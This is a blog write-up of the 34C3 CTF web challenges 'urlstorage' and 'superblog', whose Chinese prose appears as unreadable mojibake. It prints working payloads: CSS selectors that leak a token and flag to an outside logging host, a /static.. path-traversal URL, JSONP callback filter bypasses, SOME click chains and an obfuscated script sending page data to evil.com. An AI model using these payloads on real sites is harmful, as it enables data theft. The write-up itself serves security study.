LoRexxar's Blog

34c3 Web閮ㄥ垎Writeup

2018/01/02

34c3浣滀负ctftime寰堝皯瑙佺殑楂樻潈閲嶆瘮璧涗粛鐒舵病璁╀汉澶辨湜锛屾彁渚涗簡瓒冲濂界殑棰樼洰璐ㄩ噺锛屽叾涓湁3棰樻槸鍜寈ss鏈夊叧绯荤殑锛屽緢鏈夎叮

杩欓噷鏁寸悊浜嗕竴涓媁riteup缁欏ぇ瀹

urlstorage

鍒濆仛杩欓鐩殑鏃跺欐劅瑙夊張寰堝闂锛屾湰浠ヤ负鏈鍚庝娇鐢ㄧ殑鏂规硶鏄瑙o紝娌℃兂鍒扮殑鏄潪棰勬湡鍋氭硶锛屽拷鐣ヤ簡棰樼洰鏈韩鐨勬濊矾锛屾姏寮闈為鏈熶笉绠★紝棰樼洰鏈韩鏄竴閬撻潪甯镐笉閿欑殑棰樼洰锛岀敤浜哻ss rpo鏉ヨ幏鍙栭〉闈㈢殑鏁忔劅鍐呭銆

CSS RPO

棣栧厛鎴戜滑闇瑕佸厛瑙i噴涓涓嬩粈涔堟槸CSS RPO,RPO 鍏ㄧОRelative Path Overwrite锛屼富瑕佹槸鍒╃敤娴忚鍣ㄧ殑涓浜涚壒鎬у拰閮ㄥ垎鏈嶅姟绔殑閰嶇疆宸紓瀵艰嚧鐨勬紡娲烇紝閫氳繃涓浜涙妧宸э紝鎴戜滑鍙互閫氳繃鐩稿璺緞鏉ュ紩鍏ュ叾浠栫殑璧勬簮鏂囦欢锛屼互鑷充簬杈炬垚鎴戜滑鎯宠鐨勭洰鐨勩

鍏堟斁鍑犵瘒鏂囩珷
http://www.thespanner.co.uk/2014/03/21/rpo/
http://www.zjicmisa.org/index.php/archives/127/

杩欓噷灏变笉涓撻棬璁茶堪RPO鐨勭绉嶆敾鍑绘柟寮忥紝杩欓噷鍙璁篊SS RPO锛岃鎴戜滑鎺ョ潃鐪嬬湅棰樼洰銆

Writeup

鍥炲埌棰樼洰銆

鏁翠釜棰樼洰绔欑偣鏄痙jango鍐欑殑锛岀劧鍚庡墠鍙扮敤nginx鍋氫簡涓灞傚弽浠c
image.png-135.8kB

鐒跺悗鏁寸珯甯︽湁CSP

1
frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';

绔欑偣鍐呬富瑕佹湁鍑犱釜鍔熻兘锛屾瘡娆$櫥闄嗛兘浼氱敓鎴愮嫭绔嬬殑token锛/urlstorage椤甸潰鍙互鍌ㄥ瓨涓涓猽rl閾炬帴锛/flag椤甸潰浼氭樉绀鸿嚜宸辩殑token鍜宖lag锛堟牴鎹畉oken鐢熸垚锛

浠旂粏鐮旂┒涓嶉毦鍙戠幇涓浜涘叾浠栫殑鏉′欢銆

1銆乫lag椤甸潰鍙帴鍙梩oken鐨勫墠64浣嶏紝鑰宼oken鍒欐槸鎴彇浜唗oken鐨勫墠32浣嶅仛浜嗗垽鏂紝鍦╰oken鍚庢垜浠彲浠ュ姞鍏32浣嶄换鎰忓瓧绗︺
2銆乫lag椤甸潰鏈塼itle xss锛屽彧瑕侀棴鍚</title>灏卞彲浠ユ瀯閫爔ss锛岃櫧鐒朵綅鏁颁笉瓒筹紝鎴戜滑娌″姙娉曟墽琛屼换浣昷s銆
3銆乽rlstorage椤甸潰瀛樺湪csrf锛屾垜浠彲浠ラ氳繃璁╂湇鍔$鐐瑰嚮鎴戜滑鐨勯摼鎺ユ潵淇敼浠绘剰淇敼url

浣嗘槸锛屽緢鏄剧劧锛岃繖浜涙潯浠跺叾瀹炲苟涓嶅瓒充互鑾峰彇鍒版湇鍔$鐨刦lag銆

浣嗛鐩腑姘歌繙涓嶄細鍑虹幇鏃犳剰涔夌殑淇℃伅锛屾瘮濡倁rlstorage椤甸潰锛屽湪鍒氭墠鐨勮璁轰腑锛寀rlstorage椤甸潰涓慨鏀瑰偍瀛榰rl鐨勫姛鑳藉彲浠ヨ姣棤鎰忎箟锛岃繖鏃跺欏氨瑕佹彁鍒板垰鎵嶈鐨凴PO浜嗐

棣栧厛鏁翠釜绔欑偣鏄痙jango鍐欑殑锛屾墍鏈夐〉闈㈤兘鏄氳繃璺敱琛ㄥ疄鐜扮殑锛屾墍浠ユ棤璁烘垜浠湪鍚庨潰鍔犲叆浠涔堟牱鐨勯摼鎺ワ紝杩斿洖椤甸潰閮芥槸鍜寀rlstorage涓鏍风殑

1
2
3
http://35.198.114.228/urlstorage/random_str/1321321421
-->
http://35.198.114.228/urlstorage

鐪嬩笂鍘诲ソ鍍忔病浠涔堥棶棰橈紝浣嗘槸椤甸潰鍐呯殑闈欐佽祫婧愭槸閫氳繃鐩稿璺緞寮曞叆鐨勩

image.png-102.4kB

鍥犱负鎴戜滑淇敼浜嗘牴url锛屾墍浠ss鐨勫紩鍏rl鍙樻垚浜
image.png-158.8kB

鎴戜滑鎶婂綋鍓嶉〉闈㈠綋鍋氭垚css鏍峰紡琛ㄥ紩鍏ュ埌浜嗛〉闈㈠唴銆

杩欓噷鎴戜滑鍙互閫氳繃璁剧疆url鏉ュ悜椤甸潰涓姞鍏ヤ竴浜涘彲浠ユ帶鍒剁殑椤甸潰鍐呭銆

杩欓噷娑夊強鍒颁竴涓皬鎶宸э細
CSS鍦ㄥ姞杞界殑鏃跺欎笌JS涓鏍锋槸閫愯瑙f瀽鐨勶紝涓嶅悓鐨勬槸CSS浼氬拷鐣ラ〉闈腑涓嶇鍚圕SS璇硶鐨勮

涔熷氨鏄濡傛灉鎴戜滑璁剧疆url涓%0a{}%0a*{color:red}

閭d箞椤甸潰鍐呭浼氬彉鎴
image.png-37.6kB

褰撳紩鍏SS閫愯瑙f瀽鐨勬椂鍊欙紝color:red灏变細琚В鏋

image.png-65.4kB

閫氳繃璁剧疆鍙帶鐨刢ss锛屾垜浠氨鍙互浣跨敤涓涓潪甯哥壒鍒殑鏀诲嚮鎬濊矾銆

鎴戞浘缁忓湪璁茶堪CSP鐨勫崥瀹腑鎻愬埌浜嗚繖绉嶆敾鍑绘濊矾锛岄氳繃CSS閫夋嫨鍣ㄦ潵璇诲彇椤甸潰鍐呭
https://lorexxar.cn/2017/10/25/csp-paper/#1銆乶once-script-CSP-Bypass

1
2
3
4
a[href^=flag\?token\=0]{background: url(//l4w.io/rpo/logging.php?c=0);}
a[href^=flag\?token\=1]{background: url(//l4w.io/rpo/logging.php?c=1);}
..
a[href^=flag\?token\=f]{background: url(//l4w.io/rpo/logging.php?c=f);}

褰撳尮閰峚鏍囩鐨刪ref灞炴т腑token寮澶寸鍚堢殑鏃跺欙紝灏变細鑷姩鍚戣繙绋嬪彂閫佽姹傚姞杞藉浘鐗囷紝鏈嶅姟绔帴鏀跺埌璇锋眰锛屽氨浠h〃鐫鍖归厤鎴愬姛浜嗭紝杩欐牱鐨勮姹傛垜浠彲浠ラ噸澶嶅娆★紝灏辫兘鑾峰彇鍒癮dmin鐨則oken浜嗐

杩欓噷鏈変釜灏忕粏鑺傦紝鏈嶅姟绔瘡娆¤闂兘浼氶噸鏂扮櫥闄嗕竴娆★紝姣忔閲嶆柊鐧婚檰閮戒細鍒锋柊token锛屾墍浠ラ鐩湪contact椤甸潰杩樼粰鍑轰簡涓涓剼鏈琾ow.py锛岄氳繃杩欎釜鑴氭湰锛屾湇鍔$浼氭湁30s鏃堕棿鏉ヨ闂垜浠殑鎵鏈塽rl锛岃繖鏍锋垜浠氨鏈夎冻澶熺殑鏃堕棿鎷垮埌鏈嶅姟绔殑token銆

浣嗘槸闂鏉ヤ簡锛屾垜浠粛鐒舵病鍔炴硶鑾峰彇鍒癴lag椤甸潰鐨刦lag銆

杩欓噷闇瑕佷竴涓柊鐨勬妧宸с

鍦ㄦ祻瑙堝櫒澶勭悊鐩稿璺緞鏃讹紝涓鑸儏鍐垫槸鑾峰彇褰撳墠url鐨勬渶鍚庝竴涓/鍓嶄綔涓篵ase url锛屼絾鏄鏋滈〉闈腑缁欏嚭浜哹ase鏍囩锛岄偅涔堝氨浼氳鍙朾ase鏍囩涓殑url浣滀负base url銆

閭d箞锛屾棦鐒秄lag椤甸潰鐨則oken鍙傛暟锛屾垜浠湁24浣嶅彲鎺э紝閭d箞鎴戜滑瀹屽叏鍙互寮曞叆/urlstorage浣滀负base鏍囩锛岃繖鏍稢SS浠嶇劧浼氬姞杞絬rlstorage椤甸潰鍐呭锛屾垜浠氨鍙互缁х画浣跨敤CSS RPO鏉ヨ幏鍙栭〉闈㈠唴瀹广

杩欓噷杩樻湁涓皬鍧

褰撴垜浠瘯鍥句娇鐢ㄤ笅闈㈢殑payload鏉ヨ幏鍙杅lag鏃

1
#flag[value^=34C3]{background: url(https://xxx?34c3);}

瀛楃涓查浣嶇殑3涓嶄細琚瘑鍒负瀛楃涓诧紝蹇呴』浣跨敤鍙屽紩鍙峰寘瑁规墠鑳芥甯歌В鏋愩備絾鏄弻寮曞彿琚浆涔変簡銆

杩欓噷鎴戜滑闇瑕佹崲鐢*

1
*鍙烽夋嫨鍣ㄤ唬琛ㄨ繖灞炴т腑鍖呭惈杩欎釜瀛楁锛岀敱浜flag涓湁_瀛樺湪锛屾墍浠ヤ笉浼氬flag鐨勮幏鍙栨湁褰卞搷

payload濡備笅

1
2
3
4
#flag[value*=C3_1]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
..
#flag[value*=C3_f]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}

瀹屽叏鐨刾ayload鎴戝氨涓嶄笓闂ㄥ啓浜嗭紝鐞嗚В棰樼洰鐨勬濊矾姣旇緝閲嶈銆

鏁翠釜棰樼洰鐨勫埄鐢ㄩ摼闈炲父绮惧阀锛屾湇鍔$bot姣旀垜鎯宠薄涓寮哄ぇ寰堝锛屾湁瓒g殑鏄紝鏁翠釜棰樼洰瀛樺湪閰嶇疆鐨勯潪棰勬湡锛屾垜涓搴﹁涓洪潪棰勬湡瑙f硶鏄瑙c

闈為鏈

浠ュ墠鍦╬wnhub绗簩鏈熶腑鏇剧粡鎺ヨЕ鍒拌繃涓涓煡璇嗙偣锛宒jango鐨勯潤鎬佽祫婧愯矾鐢憋紙static锛夋湰韬氨鏄氳繃鏄犲皠闈欐佽祫婧愮洰褰曞疄鐜扮殑锛屽綋django浣跨敤nginx鍋氬弽浠f椂锛屽鏋渘ginx閰嶇疆鍑虹幇闂锛岄偅涔堝氨鏈夊彲鑳藉瓨鍦ㄥ鑷村彲浠ヨ法鐩綍鐨勮鍙栨枃浠讹紝瀵艰嚧婧愮爜娉勯湶銆34c3鐨勬墍鏈塪jango鐨剋eb棰樼洰閮芥湁杩欎釜婕忔礊銆

褰撴垜浠闂

1
http://35.198.114.228/static../views.py

灏卞彲浠ヨ幏鍙栧埌婧愮爜锛岃鎴戜滑閿佸畾flag椤甸潰鐨勬簮鐮

1
2
3
4
5
6
7
8
9
10
11
@login_required
def flag(req):
user_token = req.GET.get("token")
if not user_token:
messages.add_message(req, messages.ERROR, 'no token provided')
return redirect('index')
user_flag = "34C3_"+hashlib.sha1("foqweqdzq%s".format(user_token).encode("utf-8")).hexdigest()
return render(req, 'flag.html', dict(user=req.user,
valid_token=user_token.startswith(req.user.profile.token),
user_flag=user_flag,
user_token=user_token[:64],))

鎴戜滑鍙互鐪嬪埌user_flag鏄氳繃token鐢熸垚鐨勶紝鑰宼oken鏄櫥闄嗘椂闅忔満鐢熸垚鐨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def login(req):
if req.user.is_authenticated:
return redirect('index')
if req.method == "POST":
username = req.POST.get("username")
password = req.POST.get("password")
if not username or not password:
messages.add_message(req, messages.ERROR, 'No username/password provided')
elif len(password) < 8:
messages.add_message(req, messages.ERROR, 'Password length min 8.')
else:
user, created = User.objects.get_or_create(username=username)
if created:
user.set_password(password)
user.save()
user = auth.authenticate(username=username, password=password)
if user:
user.profile.token = binascii.hexlify(os.urandom(16)).decode()
user.save()
auth.login(req, user)
return redirect('index')
else:
messages.add_message(req, messages.ERROR, 'Invalid password')
return render(req, 'login.html')
return render(req, 'login.html')

鎵浠ヤ笉闅炬兂璞″埌锛屽鏋渁dmin鐨刦lag涔熼殢鏈虹敓鎴愶紝閭lag灏变笉鍥哄畾浜嗭紝鎵浠dmin鐨刦lag涓瀹氭槸鍐欐鍦ㄦā鏉块噷鐨勩

image.png-298.5kB

寰堝鏄撳氨鎷垮埌浜唂lag銆

superblog

杩欓亾棰樼洰鍋氳捣鏉ユ病鏈塽rlstorage鏈夎叮锛屼絾鏄粛鐒跺煎緱涓鍋氥

涓嬮潰鐨勬濊矾閮ㄥ垎鏉ヨ嚜浜
https://blog.cal1.cn/post/34C3%20CTF%20web%20writeup

鏈夎叮鐨勬槸锛岃繖閬撻鐩篃鏄敤django鍐欑殑锛屼篃鏄敤浜唍ginx鍋氬弽浠o紝浜庢槸婧愮爜鍐嶄竴娆℃硠闇蹭簡锛岄氳繃婧愮爜鎴戜滑鍙互绠鍖栧緢澶氭濊矾銆

鍦ㄥ垎鏋愭簮鐮佷箣鍓嶏紝鎴戜滑鍙互绠鍗曠殑浠庨粦鐩掔殑瑙掑害鐪嬬湅棰樼洰鐨勫悇绉嶄俊鎭

1銆侀鍏堜粠feed椤甸潰鍙互鍙戠幇锛宒jango 1.11.8 寮鍚簡debug
鐒跺悗鎴戜滑鍙互鎷垮埌璺敱琛

1
2
3
4
5
6
7
8
9
10
11
12
^$ [name='index']
^post/(?P<postid>[^/]+)$ [name='post']
^flag1$ [name='flag1']
^flag2$ [name='flag2']
^flag_api$ [name='flag_api']
^publish$ [name='publish']
^feed$ [name='feed']
^contact$ [name='contact']
^login/$ [name='login']
^logout/$ [name='logout']
^signup/$ [name='signup']
^static\/(?P<path>.*)$

鍚屾椂杩樹細娉勯湶閮ㄥ垎婧愮爜锛屽彲浠ュ彂鐜癴lag1鍜宖lag2鐨勮幏鍙栨柟寮忓垎鍒负

1銆乤dmin璐﹀彿璁块棶flag1灏卞彲浠ュ緱鍒癴lag1
2銆乫lag2闇瑕佸悜flag_api鍙戦佽姹

2銆乫eed鏈変竴涓type鍙傛暟鍙互鎸囧畾json銆乯sonp鐨勮繑鍥炵被鍨嬶紝鍚屾椂杩樻帴鍙梒b鍙傛暟锛宑b涓湁寰堝寰堝杩囨护锛屼絾鏄彲浠ヨ缁曡繃

1
<script src=鈥/feed?type=jsonp&cb=alert`a`;鈥 ></script>

3銆侀〉闈腑鏈夋瘮杈冧弗鏍肩殑CSP

1
default-src 'none'; base-uri 'none'; frame-ancestors 'none'; connect-src 'self'; img-src 'self'; style-src 'self' https://fonts.googleapis.com/; font-src 'self' https://fonts.gstatic.com/s/materialicons/; form-action 'self'; script-src 'self';

4銆乧ontent娌℃湁浠讳綍杞箟锛屽瓨鍦╔SS婕忔礊

5銆乥ot璁块棶鐨勬槸鏈湴鐨刣jango锛岃屼笉鏄痭ginx

1
2
3
superblog1 + superblog2 information
When submitting a post ID to the admin, he will visit the URL http://localhost:1342/post/<postID>.
He uses a headless Google Chrome, version 63.0.3239.108.

鍏跺疄棰樼洰涓嶉渶瑕佸畬鏁存簮鐮侊紝鎴戜滑浠嶇劧鍙互鎯冲埌宸笉澶氱殑鎬濊矾锛岃繖閲屾垜浠啀浠庢簮鐮佺殑瑙掑害鍒嗘瀽涓涓嬶紝渚夸簬鐞嗚В銆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
views.py
import re
import json
import traceback
import random
from django.http import HttpResponse
from django.shortcuts import redirect, render
from django.template import loader
from django.views.decorators.http import require_safe, require_POST
from django.contrib.auth.decorators import user_passes_test
from django.core.exceptions import PermissionDenied
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import UserCreationForm
from django.contrib import messages
import models
from random import SystemRandom
def get_user_posts(user):
if not user.is_authenticated:
return []
else:
return models.Post.objects.filter(author=user).all()
gen = SystemRandom()
def generate_captcha(req):
n = 2
d = 8
ops = '+'
while True:
nums = [gen.randint(10**(d-1), 10**d-1) for _ in range(n)]
ops = [gen.choice(ops) for _ in range(n-1)]
captcha = ' '.join('%s %s' % a for a in zip(nums,ops+[1]))[:-2]
answer = eval(captcha)
if -2**31 + 10 <= answer <= 2**31-10:
break
# print 'Captcha:', captcha
req.session['captcha'] = captcha
req.session['captcha_answer'] = str(eval(captcha))
if random.random() < 0.003:
req.session['captcha'] = r'(__import__("sys").stdout.write("I WILL NOT RUN UNTRUSTED CODE FROM THE INTERNET\n"*1337), %s)[1]'%req.session['captcha']
return req.session.get('captcha')
def check_captcha(req):
res = req.POST.get('captcha_answer') == req.session.get('captcha_answer')
# if not res:
# print 'Captcha failed:', req.POST.get('captcha_answer'), req.session.get('captcha_answer')
return res
@require_safe
def index(req):
if not req.user.is_authenticated:
return redirect('login')
return render(req, 'blog/index.html', {
'posts': get_user_posts(req.user),
'captcha': generate_captcha(req),
})
@require_safe
def post(req, postid):
post = models.Post.objects.get(secretid=postid)
return render(req, 'blog/post.html', {
'post': post,
'captcha': generate_captcha(req),
})
def contact(req):
if req.method == 'POST':
if not check_captcha(req):
messages.add_message(req, messages.ERROR, 'Invalid or outdated captcha')
return redirect('contact')
postid = req.POST.get('postid')
valid = False
try:
models.Post.objects.filter(secretid=postid).get()
valid = True
except:
traceback.print_exc()
if not valid:
messages.add_message(req, messages.ERROR,
'That does not look like a valid post ID')
return redirect('contact')
url = 'http://localhost:1342/post/' + postid
models.Feedback(url=url).save()
messages.add_message(req, messages.INFO,
'Thank you for your feedback, an admin will look at it ASAP')
return redirect('index')
else:
feedback_count = models.Feedback.objects.filter(visited=False).count()
return render(req, 'blog/contact.html', {
'feedback_count': feedback_count,
'captcha': generate_captcha(req),
})
def signup(req):
if req.method == 'POST':
form = UserCreationForm(req.POST)
if form.is_valid():
form.save()
username = form.cleaned_data.get('username')
raw_password = form.cleaned_data.get('password1')
user = authenticate(username=username, password=raw_password)
login(req, user)
return redirect('index')
else:
form = UserCreationForm()
return render(req, 'blog/signup.html', {'form': form})
def get_flag(req, num):
if req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1':
with open('/asdjkasecretflagfile%d' % num) as f:
return f.read()
else:
return '34C3_JUSTKIDDINGGETADMINANDACCESSFROMLOCALHOSTNOOB'
@require_safe
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
resp = HttpResponse(posts_json)
resp['Content-Type'] = 'application/json; charset=utf-8'
elif type_ == 'jsonp':
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
resp['Content-Type'] = 'text/javascript; charset=utf-8'
return resp
@require_POST
def publish(req):
if req.user.username == 'admin':
messages.add_message(req, messages.INFO,
'Sorry but admin cannot post for security reasons')
return redirect('/')
if not check_captcha(req):
messages.add_message(req, messages.ERROR, 'Invalid or outdated captcha')
return redirect('/')
models.Post(author=req.user,
content=req.POST.get('post'),
title=req.POST.get('title')).save()
return redirect('/')
@require_POST
def flag_api(req):
if not check_captcha(req):
raise PermissionDenied
resp = HttpResponse(json.dumps(get_flag(req, 2)))
resp['Content-Type'] = 'application/json; charset=utf-8'
return resp
@require_safe
def flag1(req):
return render(req, 'blog/flag1.html', {'flag': get_flag(req, 1)})
@require_safe
def flag2(req):
return render(req, 'blog/flag2.html', {'captcha': generate_captcha(req)})

1銆乫lag鑾峰彇棣栧厛鏈変竴涓墠缃潯浠

1
2
3
4
5
6
def get_flag(req, num):
if req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1':
with open('/asdjkasecretflagfile%d' % num) as f:
return f.read()
else:
return '34C3_JUSTKIDDINGGETADMINANDACCESSFROMLOCALHOSTNOOB'

鍚庝竴涓潯浠剁敱浜庣粡杩噉ginx鍙嶄唬锛屾墍浠ユ病浠涔堢敤锛屼富瑕侀棶棰樻槸鍓嶄竴涓

req.user.username骞朵笉鏄氳繃django鏈韩鐨剆ession璁剧疆鐨勶紝鎵浠ュ嵆浣挎垜浠幏鍙栧埌settings涓殑SECRET_KEY涔熸病鏈夋剰涔夛紝涔熷氨鏄锛屾垜浠彧鑳介氳繃bot鑾峰彇flag銆

2銆乫eed椤甸潰瀛樺湪jsonp鎺ュ彛锛屼絾鏄湁澶ф妸澶氳繃婊わ紝蹇界暐浜嗚兘鐢ㄤ笂鐨`{}.$杩欏嚑涓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@require_safe
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
resp = HttpResponse(posts_json)
resp['Content-Type'] = 'application/json; charset=utf-8'
elif type_ == 'jsonp':
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
resp['Content-Type'] = 'text/javascript; charset=utf-8'
return resp

3銆佹暣绔欑殑杩斿洖澶存槸閫氳繃django middleware 娣诲姞锛屼絾鏄痵tatic鐩綍鏄洿鎺ラ氳繃nginx澶勭悊鐨勶紝鎵浠ユ病鏈塁SP澶

棰樼洰鎬濊矾瀹屾暣浜嗭紝鎴戜滑灏遍渶瑕佹瀯閫犲彲浠ュ埄鐢ㄧ殑鏀诲嚮閾

鏃犺鎴戜滑鎬庝箞鑾峰彇flag锛屾垜浠兘闇瑕侀氳繃鎿嶄綔static椤甸潰鏉ユ墽琛宩s浼犲嚭锛屽惁鍒欏氨浼氳CSP鎷︽埅锛屾墍浠ユ垜浠繀椤婚氳繃澶氫釜椤甸潰鏉ョ浉浜掓搷浣滀慨鏀归〉闈紝鎵嶈兘瀹炵幇鎴戜滑鐨勯渶姹傘

杩欓噷闇瑕佺敤鍒颁竴涓湪HCTF2017涓彁鍒拌繃鐨勬敾鍑绘柟寮忥紝鍙仛SOME.

鍏充簬SOME鐨勭粏鑺傚彲浠ョ湅浠ュ墠鐨勫崥瀹
https://lorexxar.cn/2017/11/15/hctf2017-deserted-world/

杩欓噷灏变笉缁嗚浜嗭紝閫氳繃SOME锛屾垜浠彲浠ラ氳繃鎵цjs鏉ユ搷浣滃彟涓涓〉闈腑鐨刣om

鎵ц娴佺▼澶ц嚧濡備笅
1銆佹墦寮椤甸潰锛岄氳繃a鏍囩鐨勭殑click鏉ュ疄鐜伴〉闈㈢殑璺宠浆锛岃烦杞嚦localhost锛坣ginx锛変笅

1
2
<a id="aa" href="http://localhost/post/{post1}"></a>
<script src="/feed?type=jsonp&amp;cb=document.getElementById`aa`.click``,console.log"></script>

2銆佸厛鎷縡lag1锛屼袱娆$偣鍑伙紝涓涓墦寮flag1椤甸潰锛屼竴涓烦杞埌涓嬩竴涓猨s椤甸潰

1
2
3
<a id="aa" href="{post2}" target="_blank"></a>
<a id="bb" href="/flag1"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>

3銆侀氳繃涓ゆ鐐瑰嚮锛屾墦寮涓涓猻tatic鐩綍鐨勯〉闈紝鐒跺悗璺宠浆鍒颁笅涓涓猨s鎵ц鐨勯〉闈

1
2
3
<a id="aa" href="{post3}" target="_blank"></a>
<a id="bb" href="/static/"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>

4銆侀氳繃鍚憇tatic椤甸潰鍐欏叆澶栭儴js鏉ユ墽琛屼换鎰廽s浠g爜锛屼负浜嗘洿濂界殑澶勭悊锛宲ayload鍙互鍐欏叆鏍囬锛屽啓鍏ヤ唬鐮佸彲浠ュ啓鍦ㄥ唴瀹归噷銆

1
2
鏍囬锛<script src="http://xxxxx/evil.js"></script>
鍐呭锛<script src="/feed?type=jsonp&cb=opener.document.write`${document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.innerText}`,console.log"></script>

鎺ヤ笅鏉ュ氨鏄殢鎰忓紑鐏簡锛屽洜涓篹vil.js閲屾病鏈変换浣曢檺鍒讹紝浣犲彲浠ュ仛浠讳綍闇瑕佺殑鎿嶄綔銆

涓涓畬鏁寸殑鍒╃敤閾惧氨褰㈡垚浜

鏈夎叮鐨勬槸锛岃繖涓鐩槸鍙互寮鸿缁晈af鏉ユ墽琛宩s鐨勩

鍙︿竴绉嶈В娉

鍦╟tftime鐨剋riteup鍖哄煙锛岀湅鍒颁簡涓绉嶅己琛岀粫杩噖af鐨勮В娉

https://gist.github.com/cgvwzq/2d875cb4bd752a99ca239e6ffe64f849

涓婇潰鏇剧粡鎻愬埌杩囷紝鍏充簬绗﹀彿鐨勮繃婊わ紝閬楃暀涓嬩簡鍑犱釜鐗瑰埆鐨勮繕鑳藉埄鐢ㄧ殑瀛楃`{}.$,娌℃兂鍒扮殑鏄紝閫氳繃杩欏嚑涓瓧绗︼紝鍙互寮鸿鏋勯犲彲鎵ц鐨刯s

1
2
3
4
5
6
7
8
9
<!-- superblog 1 - flag: 34C3_so_y0u_w3nt_4nd_learned_SOME_javascript_g00d_f0r_y0u -->
<script>
document.write`${Array.call`${atob`PA`}${`l`}${`i`}${`n`}${`k`}${atob`IA`}${`r`}${`e`}${`l`}${atob`PQ`}${atob`Ig`}${`p`}${`r`}${`e`}${`f`}${`e`}${`t`}${`c`}${`h`}${atob`Ig`}${atob`IA`}${`h`}${`r`}${`e`}${`f`}${atob`PQ`}${atob`Ig`}${`h`}${`t`}${`t`}${`p`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}${escape.call`${document.getElementsByTagName`link`.item``.import.body.innerText}`}${atob`Ig`}${atob`Pg`}`.join``}`,
</script>
<!-- superblog 2 - flag: 34C3_h3ncef0rth_peopl3_sh4ll_refer_t0_y0u_only_4s_th3_ES6+DOM_guru -->
<script>
document.write`${foo.import.body.innerHTML}`,document.write`${Array`${atob`PA`}${`input`}${atob`IA`}${`form`}${atob`PQ`}${`flagform`}${atob`IA`}${`name`}${atob`PQ`}${`captcha_answer`}${atob`IA`}${`x`}${atob`PQ`}${atob`Ig`}`.join``}${atob`Ig`}${`value`}${atob`PQ`}${parseInt.call`${foo.import.getElementById`flagform`.firstChild.nextSibling.nextSibling.textContent.split`%2b`.shift``}`%2bparseInt.call`${foo.import.getElementById`flagform`.firstChild.nextSibling.nextSibling.textContent.split`%2b`.pop``}`}${atob`Pg`}`,document.write`${atob`PA`}${`script`}${atob`IA`}${`src`}${atob`PQ`}${atob`Lw`}${`feed`}${atob`Pw`}${`type`}${atob`PQ`}${`jsonp`}${atob`Jq`}${`cb`}${atob`PQ`}${`flagform.lastElementChild.click`}${atob`YA`}${atob`YA`}${`,document.write${atob`YA`}${atob`JA`}${`{localStorage.getItem`}${atob`YA`}${`$`}${`{`}${atob`YA`}${atob`YA`}${`}`}${atob`YA`}${`}`}${`$`}${`{flag.innerText}`}${atob`YA`}${`,`}${atob`Pg`}${atob`PA`}${atob`Lw`}${`script`}${atob`Pg`}`}`,localStorage.setItem`${Array.call`}${atob`PA`}${`link`}${atob`IA`}${`rel`}${atob`PQ`}${atob`Ig`}${`prefetch`}${atob`Ig`}${atob`IA`}${`href`}${atob`PQ`}${`http`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}`.join``}`,
</script>

鍏朵腑鎵鏈夌殑鏁忔劅绗﹀彿閫氳繃瑙ase64鑾峰緱锛岀劧鍚庡啓鍏ラ〉闈㈠唴鎵ц

鏈鍚庨氳繃

1
<link rel="prefetch" href="xxxxx.xx">

鎶婃暟鎹紶鍑衡

CATALOG
  1. 1. urlstorage
    1. 1.1. CSS RPO
    2. 1.2. Writeup
    3. 1.3. 闈為鏈
  2. 2. superblog
    1. 2.1. 鍙︿竴绉嶈В娉